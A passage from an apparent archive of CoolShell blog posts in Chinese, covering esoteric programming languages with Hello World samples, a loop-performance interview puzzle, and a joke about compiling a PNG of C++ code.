cellpadding=\"3\"&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;th&gt;元素关系&lt;/th&gt;\n&lt;th&gt;操作&lt;/th&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 生A&lt;/td&gt;\n&lt;td&gt;A+B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 克 A&lt;/td&gt;\n&lt;td&gt;A-B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 怕 A&lt;/td&gt;\n&lt;td&gt;A/B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 爱 A&lt;/td&gt;\n&lt;td&gt;A*B&lt;/td&gt;\n&lt;/tr&gt;\n&lt;tr&gt;\n&lt;td&gt;B 就是 A&lt;/td&gt;\n&lt;td&gt;如果A和B都是阳，则是阳，否则是阴&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;h4&gt;Piet&lt;/h4&gt;\nDavid Morgan-Mar 发明的用位图编程的&lt;a href=\"http://www.dangermouse.net/esoteric/piet.html\" target=\"_blank\"&gt;Piet语言&lt;/a&gt;也是BT到了极致，你还记得前两的那个“&lt;a title=\"我有一个Hello World的C++程序编译不过\" href=\"https://coolshell.cn/articles/4170.html\" target=\"_blank\"&gt;我的hello world编不过去&lt;/a&gt;”文章中的那个强人用windows的画图程序编程的例子吗？呵呵Piet完全是用位图编程的语言。\n\n下面这个图片就是其Hello World的示例：\n&lt;p style=\"text-align: center;\"&gt;&lt;a href=\"http://www.topdesignmag.com/wp-content/uploads/2011/04/Piet_hello_big.png\"&gt;&lt;img class=\"aligncenter\" title=\"Piet_hello_big\" src=\"http://www.dangermouse.net/esoteric/piet/Piet_hello_big.png\" alt=\"\" width=\"150\" height=\"145\" /&gt;&lt;/a&gt;&lt;/p&gt;\n&lt;p style=\"text-align: left;\"&gt;再看看斐波拉契数列的程序示例:&lt;/p&gt;\n&lt;p style=\"text-align: center;\"&gt;&lt;a href=\"http://www.dangermouse.net/esoteric/piet/fibbig.gif\"&gt;&lt;img class=\"aligncenter\" src=\"http://www.dangermouse.net/esoteric/piet/fibbig.gif\" alt=\"\" width=\"110\" height=\"121\" /&gt;&lt;/a&gt;&lt;/p&gt;\n这里还有更多的示例：&lt;a href=\"http://www.dangermouse.net/esoteric/piet/samples.html\"&gt;http://www.dangermouse.net/esoteric/piet/samples.html&lt;/a&gt;\n&lt;h4&gt;&lt;strong&gt;Malbolge&lt;/strong&gt;&lt;/h4&gt;\n&lt;a href=\"http://www.lscheffer.com/malbolge.shtml\" target=\"_blank\"&gt;Malbolge语言&lt;/a&gt;，是最早的一个以代码丑陋为目标而设计出的程序语言，你几乎不可能读懂Malbolge的代码。它共有8条指令，所有运算都基于3进制，控制程序流的唯一指令是无条件跳转。其是BenOlmstead在1998年引进公共领域的深奥程序语言，名称来源于“the eighth circle of hell in Dante’s Inferno”，之后更名为Malbolge。\n\n这被认为是地狱级的编程语言。\n\n看看它的Hello World程序：\n&lt;pre style=\"padding-left: 30px;\"&gt;&lt;code&gt;('&amp;%:9]!~}|z2Vxwv-,POqponl$Hjig%eB@@&gt;}=&lt;M:9wv6WsU2T|nm-,jcL(I&amp;%$#\"\n </code>]V?Tx&lt;uVtT<code class=\"EnlighterJSRAW\">Rpo3NlF.Jh++FdbCBA@?]!~|4XzyTT43Qsqq(Lnmkj\"Fhg${z@&gt;&lt;/code&gt;&lt;/pre&gt;\n&lt;h4&gt;Unlambda&lt;/h4&gt;\n关于&lt;a href=\"http://www.madore.org/~david/programs/unlambda/\" target=\"_blank\"&gt;Unlambda语言&lt;/a&gt;，David Madore是这个语言的发明人，他于1976年8月3日生于法国，其是法国-加拿大籍数学家和计算机科学爱好者）。在unlambda里，所有东西都是函数。基本操作就是S， K， 和I三个组合子。当然，unlambda也加入一些扩展，让程序稍微好些一点。\n&lt;pre style=\"padding-left: 30px;\"&gt;</code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\">ki\n </code><code class=\"EnlighterJSRAW\">s</code><code class=\"EnlighterJSRAW\">s</code>\n     <code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\">ks</code><code class=\"EnlighterJSRAW\">s</code><code class=\"EnlighterJSRAW\">s</code>\n               <code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\">k</code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\">k</code><code class=\"EnlighterJSRAW\">k\n                               </code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code><code class=\"EnlighterJSRAW\"></code>.H.e.l.l.o.,. .w.o.r.l.d.!\n                        k\n      k\n  <code class=\"EnlighterJSRAW\">k</code><code class=\"EnlighterJSRAW\">s</code><code class=\"EnlighterJSRAW\">s</code>`k.*</pre>\n<h4>Ook!</h4>\n<p><a href=\"http://www.dangermouse.net/esoteric/ook.html\" target=\"_blank\">Ook! 语言</a>也是David Morgan-Mar 发明的，与Brainfuck类似, 但用单词“<code>Ook！”</code>，“<code>Ook.</code>” 和“<code>Ook?</code>”代替。我们来看一个Hello World的一个示例：</p>\n<pre style=\"padding-left: 30px;\">Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook.\nOok! Ook. Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook? Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook?\nOok! Ook! Ook? Ook! Ook? Ook. Ook. Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook! Ook. Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook.\nOok. Ook? Ook. Ook? Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook? Ook. Ook. Ook.\nOok. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok. Ook? Ook! Ook! Ook? Ook! Ook? Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok? Ook. Ook? Ook. Ook? Ook. Ook? Ook. Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook.\nOok! Ook. Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook.\nOok! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!\nOok! Ook. Ook. Ook? Ook. Ook? Ook. Ook. Ook! Ook.</pre>\n<p>下面是一些转换器和解释器：</p>\n<ul>\n<li><a href=\"http://www.dangermouse.net/esoteric/Ook.java\">Java Ook!-to-BrainF*** 和 BrainF***-to-Ook! 转换器</a>.</li>\n<li><a href=\"http://www.ruby-lang.org/en/raa-list.rhtml?name=RubyOok\">Ook! Ruby解释器</a>.</li>\n<li><a href=\"http://www.orakel.ntnu.no/~oyving/code/python/pook.py\">Ook! Python解释器</a>.</li>\n<li><a href=\"http://bluesorcerer.net/esoteric/ook.html\">Ook!  .Net 编译器叫Ook#</a></li>\n<li><a href=\"http://search.cpan.org/search?module=Acme::Ook\">Ook! perl 解释器</a>.</li>\n</ul>\n<h4><strong>TMMLPTEALPAITAFNFAL</strong></h4>\n<p>你没看错，上面这一排毫无意义的字母是一个语言的名称。它是The Multi-Million Language Project To End All Language Projects And Isn’t That A Fine Name For A Language的缩写。<a href=\"http://p-nand-q.com/humor/programming_languages/tmmlpteal.html\" target=\"_blank\">TMMLPTEALPAITAFNFAL语言</a>没有固定的语法规则，每一天都是不同的语法。例如，2000年10月13日你可以使用DIV但不能使用MOD；到了10月14日时你可以使用MOD了但DIV又不能用了。因此，你今天写的程序运行起来完全正常，但是到了明天就无法编译了。下面是一个TMMLPTEALPAITAFNFAL的Hello World程序，当然现在已经无法编译了。</p>\n<pre style=\"padding-left: 30px;\"><code>DECLARE CELL 100 AS READPOS\n DECLARE 10 AS NEWLINE\n WRITE CHAR NEWLINE\n COPY \"Hello, World\" TO CELL 0\n COPY 0 TO READPOS\n WHILE READPOS INDIRECT DO GOSUB 300\n WRITE CHAR NEWLINE\n RETURN\nLINE 300: WRITE CHAR READPOS INDIRECT\n ADD 1 TO READPOS\n RETURN</code></pre>\n<h4>INTERCAL</h4>\n<p><a href=\"http://catb.org/~esr/intercal/\" target=\"_blank\">INTERCAL语言</a>（<a href=\"http://en.wikipedia.org/wiki/INTERCAL\" target=\"_blank\">Wikipedia</a>）全称是“Compiler Language With No Pronounceable Acronym”。自认为是“超级黑客”的人可以试试用这个语言写程序。由老牌黑客<a href=\"http://en.wikipedia.org/wiki/Don_Woods\">Don Woods</a> 和 <a href=\"http://en.wikipedia.org/wiki/James_M._Lyon\">James M. Lyon</a> 在1972年发明，其是用来讽刺当时的那些编程语言。今天 这个语言有两个版本，一个是由牛人<a href=\"http://en.wikipedia.org/wiki/Eric_S._Raymond\">Eric S. Raymond</a>维护的C-INTERCAL，另一个是Claudio Calvelli 维护的CLC-INTERCAL。（<strong>注</strong>：在自由软件启蒙阶段，<a href=\"http://en.wikipedia.org/wiki/Eric_S._Raymond\">Eric S. Raymond</a>以如椽之笔呼啸而出，其核心著作被业界成为”五部曲”：《黑客道简史》（A Brief History of Hackerdom）、 《大教堂和市集》（The Cathedral and the Bazaar）、《如何成为一名黑客》（How To Become A Hacker）、《开拓智域》（Homesteading the Noosphere）、《魔法大锅炉》（The Magic Cauldron）。其中最著名的当然还是《大教堂和市集》，它在自由软件运动中的地位相当于基督教的《圣经》。而用黑客们的话说，这是”黑客藏经阁”的 第一个收藏。）</p>\n<p>来看看其Hello World的程序：</p>\n<pre style=\"padding-left: 30px;\">DO ,1 &lt;- #13\nPLEASE DO ,1 SUB #1 &lt;- #238\nDO ,1 SUB #2 &lt;- #108\nDO ,1 SUB #3 &lt;- #112\nDO ,1 SUB #4 &lt;- #0\nDO ,1 SUB #5 &lt;- #64\nDO ,1 SUB #6 &lt;- #194\nDO ,1 SUB #7 &lt;- #48\nPLEASE DO ,1 SUB #8 &lt;- #22\nDO ,1 SUB #9 &lt;- #248\nDO ,1 SUB #10 &lt;- #168\nDO ,1 SUB #11 &lt;- #24\nDO ,1 SUB #12 &lt;- #16\nDO ,1 SUB #13 &lt;- #162\nPLEASE READ OUT ,1\nPLEASE GIVE UP</pre>\n<h4>HQ9++</h4>\n<p><a href=\"http://www.dangermouse.net/esoteric/hq9plusplus.html\" target=\"_blank\">HQ9++语言</a>同样是David Morgan-Mar 发明的，其带有四个指令的joke语言。</p>\n<ul>\n<li><strong>H</strong>: 输出 <a href=\"http://www.esolangs.org/wiki/Hello%2C_world%21\" title=\"Hello,world!\">“hello,world”</a></li>\n<li><strong>Q</strong>: 输出程序员的源代码</li>\n<li><strong>9</strong>: 打印 <a href=\"http://www.esolangs.org/wiki/99_bottles_of_beer\" title=\"99 bottles of beer\">“99 Bottles of Beer”</a> 的歌词</li>\n<li><strong>+</strong>: 累加器</li>\n</ul>\n<h4><strong>PerlYuYan</strong></h4>\n<p><a href=\"http://zh.wikipedia.org/wiki/PerlYuYan\" target=\"_blank\">PerlYuYa</a>n语言是一个能令人使用中文文言文开发程式 Perl 程式的 Perl 模块，由<a href=\"http://zh.wikipedia.org/wiki/%E5%94%90%E9%B3%B3\">唐凤</a>于2002年一月发表。它是<a href=\"http://zh.wikipedia.org/wiki/%E4%B8%AD%E6%96%87%E7%B7%A8%E7%A8%8B%E8%AA%9E%E8%A8%80\">中文编程语言</a>的尝试。作者利用中文的特质，将许多指令改成以一个中国汉字来表示，因而造成了文言语法的感觉。</p>\n<p>看看下面的这段代码，相当的文言文啊。有兴趣可以<a href=\"http://search.cpan.org/~autrijus/Lingua-Sinica-PerlYuYan-0.03/\" target=\"_blank\">去CPAN上下载</a>回来玩玩。</p>\n<pre style=\"padding-left: 30px;\">#!/usr/local/bin/perl\n\nuse Lingua::Sinica::PerlYuYan;\n\n用警兮用嚴。\n\n印道\n一至一\n哉兮\n\n印編曰雜申雜申矣\n  又纖曰龍鼠矣\n    又曰一矣\n\n亂曰\n國無人莫我知兮    又何懷乎故都\n既莫足與為美政兮  吾將從彭咸之所居</pre>\n<p>还有下面这个五言。</p>\n<pre style=\"padding-left: 30px;\"><code># The Sieve of Eratosthenes - 埃拉托斯芬篩法\nuse Lingua::Sinica::PerlYuYan;\n\n  用籌兮用嚴。井涸兮無礙\n。印曰最高矣  又道數然哉。\n。截起吾純風  賦小入大合。\n。習予吾陣地  並二至純風。\n。當起段賦取  加陣地合始。\n。陣地賦篩始  繫繫此雜段。\n。終陣地兮印  正道次標哉。\n。輸空接段點  列終註泰來。</code></pre>\n<p> </p>\n<h4>参考：</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Category:Esoteric_programming_languages\">Esoteric_programming_languages</a></li>\n<li><a href=\"http://www.topdesignmag.com/top-13-most-absurd-programming-languages/\" target=\"_blank\">Top 13 Most Absurd Programming Languages</a></li>\n<li><a href=\"http://wei.si/blog/2011/04/befunge-and-perlyuyan/\" target=\"_blank\">Befunge语言和文言文编程</a></li>\n<li><a href=\"http://hi.baidu.com/namekin/blog/item/9f36f21fc6be296df724e452.html\" target=\"_blank\">疯狂的编程语言——ENGLISH，Chef，Shakespeare</a></li>\n<li><a href=\"http://www.dangermouse.net/esoteric/\" target=\"_blank\">DM’s Esoteric Programming Languages</a></li>\n<li><a href=\"http://www.matrix67.com/blog/archives/253\" rel=\"bookmark\" title=\"Permanent Link to 十大另类程序语言（上）\">十大另类程序语言（上）</a></li>\n<li><a href=\"http://www.matrix67.com/blog/archives/255\" rel=\"bookmark\" title=\"Permanent Link to 十大另类程序语言（下）\">十大另类程序语言（下）</a></li>\n</ul>\n<p>看过这些，我我还有什么好说的呢，什么C/C++/Java，神马都是浮云了……</p>\n<div><span style=\"font-family: Simsun; line-height: normal; font-size: medium;\">(全文完) </span></div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2529.html\"><img alt=\"StackOverflow的404错误页\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2529.html\">StackOverflow的404错误页</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1142.html\"><img alt=\"BT雷人的程序语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1142.html\">BT雷人的程序语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8052.html\"><img alt=\"K Nearest Neighbor 算法\" height=\"150\" src=\"../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8052.html\">K Nearest Neighbor 算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6840.html\"><img alt=\"CSS 布局:40个教程、技巧、例子和最佳实践\" height=\"150\" src=\"../wp-content/uploads/2012/03/css-layouts-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6840.html\">CSS 布局:40个教程、技巧、例子和最佳实践</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/6112.html\"><img alt=\"由一个问题到 Resin ClassLoader 的学习\" height=\"150\" src=\"../wp-content/uploads/2011/12/resin01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/6112.html\">由一个问题到 Resin ClassLoader 的学习</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5388.html\"><img alt=\"C语言中史上最愚蠢的Bug\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5388.html\">C语言中史上最愚蠢的Bug</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4458.html\">BT雷人的程序语言（大全）</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-2 又一个有趣的面试题.html",
    "content": "<html><body><p>大家还记得前些天的那个<a href=\"https://coolshell.cn/articles/3961.html\" target=\"_blank\" title=\"“火柴棍式”程序员面试题\">火柴棍式的面试题</a>吗？很有趣吧。下面是我今天在StackExchange上看到的一个<a href=\"http://programmers.stackexchange.com/questions/64132/interesting-interview-question\" target=\"_blank\">有趣的面试题</a>。大家不妨一起来思考一下。问题如下——</p>\n<p>有两个相同功能代码如下，<strong>请在在A，B，C是什么的情况下，请给出三个原因case 1比case 2快，还有三个原因case 2会比case 1要执行的快。</strong>（不考虑编译器优化）</p>\n<pre class=\"EnlighterJSRAW\">\nfor (i=0; i&lt;N; ++i){\n    A;\n    B;\n    C;\n}</pre>\n<pre class=\"EnlighterJSRAW\">\nfor (i=0; i&lt;N; ++i){\n    A;\n}\nfor (i=0; i&lt;N; ++i){\n    B;\n}\nfor (i=0; i&lt;N; ++i){\n    C;\n}</pre>\n<p>我的第一个反应是——</p>\n<p><span id=\"more-4162\"></span></p>\n<ul>\n<li>case1 要快一些，因为只有一个i++的i&lt;N的操作，而case 2却有三个，这在点上，case 1就比case 2要快。</li>\n<li>case2如果要快的话，有一个原因是，A, B, C其中一个需要去先获得一个资源（比如一个锁），在case1下，每次都要去拿这个资源，而case2下，只需要拿一次然后。但这个可能是不对的，因为我无法想出一个相同的语句块放在case 1中会和放在case 2中有差别。（不过可能比较接近了）</li>\n</ul>\n<p>继续思考：这个题有点像是“<strong>同步和异步</strong>”的问题，case 1是同步，case 2是异步，所以，异步快于同步，也许可以从这个方向出发，写出A, B, C的语句块。</p>\n<p>不过，其要三个原因啊。<strong>各位，你们有想法吗</strong>？</p>\n<p><strong>—-更新 1—-</strong></p>\n<p>刚才在twitter上与人讨论，发现又有一种情况，case 2要比case 1要快。比如，A, B, C分别访问是不同的内存块（数组），那么case 1就得在不同的内存块上来回切换寻址，而case2则可以连续地访问内存块。访问连续的内存效率要高。尤其是三块大内存。</p>\n<p><strong>—-更新 2—</strong></p>\n<p>正如本贴评论中所说的，CPU的cache也是其中一个因素。大家对底层知识了解的都很不错啊。赞一个。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10478.html\"><img alt=\"C++面试中string类的一种正确写法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10478.html\">C++面试中string类的一种正确写法</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-2 我有一个Hello World的C++程序编译不过.html",
    "content": "<html><body><p>在StackOverflow上有这样<a href=\"http://stackoverflow.com/questions/5508110/why-is-this-program-erroneously-rejected-by-three-c-compilers\" target=\"_blank\">一个贴子</a>，楼主说，我有下面这样的一个C++程序，为什么编译不通过啊。其让我想起了以前的这两个帖子《<a href=\"https://coolshell.cn/articles/1391.html\" target=\"_blank\" title=\"编程真难啊\">编程真难啊</a>》和《<a href=\"https://coolshell.cn/articles/1693.html\" target=\"_blank\" title=\"给我一个序列号\">给我一个序列号</a>》。<strong>仅以此篇文章祝大家假期快乐吧</strong>。</p>\n<figure class=\"wp-caption aligncenter\" style=\"width: 535px;\"><img alt=\"hello world 程序\" class=\"\" height=\"214\" src=\"http://i.stack.imgur.com/JQXWL.png\" title=\"hello world 程序\" width=\"535\"/><figcaption class=\"wp-caption-text\">hello world 程序</figcaption></figure>\n<p style=\"text-align: left;\">楼主还给出了相关的编译出错的信息（相信你一看就明白问题在哪里了，你应该还会发出一声“靠”！！！）</p>\n<p>先是用Visual C++ 2010编译</p>\n<pre class=\"EnlighterJSRAW\">c:\\dev&gt;cl /nologo helloworld.png\ncl : Command line warning D9024 : unrecognized source file type 'helloworld.png', object file assumed\nhelloworld.png : fatal error LNK1107: invalid or corrupt file: cannot read at 0x5172</pre>\n<p>再用G++ 4.5.2编译</p>\n<p><span id=\"more-4170\"></span></p>\n<pre class=\"EnlighterJSRAW\">c:\\dev&gt;g++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status</pre>\n<p>再用clang编译</p>\n<pre class=\"EnlighterJSRAW\">c:\\dev&gt;clang++ helloworld.png\nhelloworld.png: file not recognized: File format not recognized\ncollect2: ld returned 1 exit status\nclang++: error: linker (via gcc) command failed with exit code 1 (use -v to see invocation)</pre>\n<p style=\"text-align: left;\">不过，最强大的，有人居然给出了一个fix，靠！<br/>\n（下面的图片是一个4M大的gif动画，演示了整个过程，下载可能需要一定的时间。）</p>\n<figure class=\"wp-caption aligncenter\" style=\"width: 570px;\"><a href=\"http://i.imgur.com/QlGpd.gif\"><img alt=\"hello world 的解决方案\" class=\"\" height=\"252\" src=\"http://i.imgur.com/QlGpd.gif\" title=\"hello world 的解决方案\" width=\"570\"/></a><figcaption class=\"wp-caption-text\">hello world 的解决方案 （图片有点大4M，请耐心等待下载）</figcaption></figure>\n<p>真是BT啊，呵呵。<strong>仅以此篇文章祝大家假期快乐吧</strong>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18024.html\">API设计原则 – Qt官网的设计实践总结</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12052.html\"><img alt=\"Leetcode 编程训练\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12052.html\">Leetcode 编程训练</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12012.html\"><img alt=\"State Threads 回调终结者\" height=\"150\" src=\"../wp-content/uploads/2014/10/edsm-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12012.html\">State Threads 回调终结者</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/11466.html\"><img alt=\"C语言的整型溢出问题\" height=\"150\" src=\"../wp-content/uploads/2014/04/c99-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/11466.html\">C语言的整型溢出问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/4170.html\">我有一个Hello World的C++程序编译不过</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-4-20 再谈“我是怎么招聘程序员的”（上）.html",
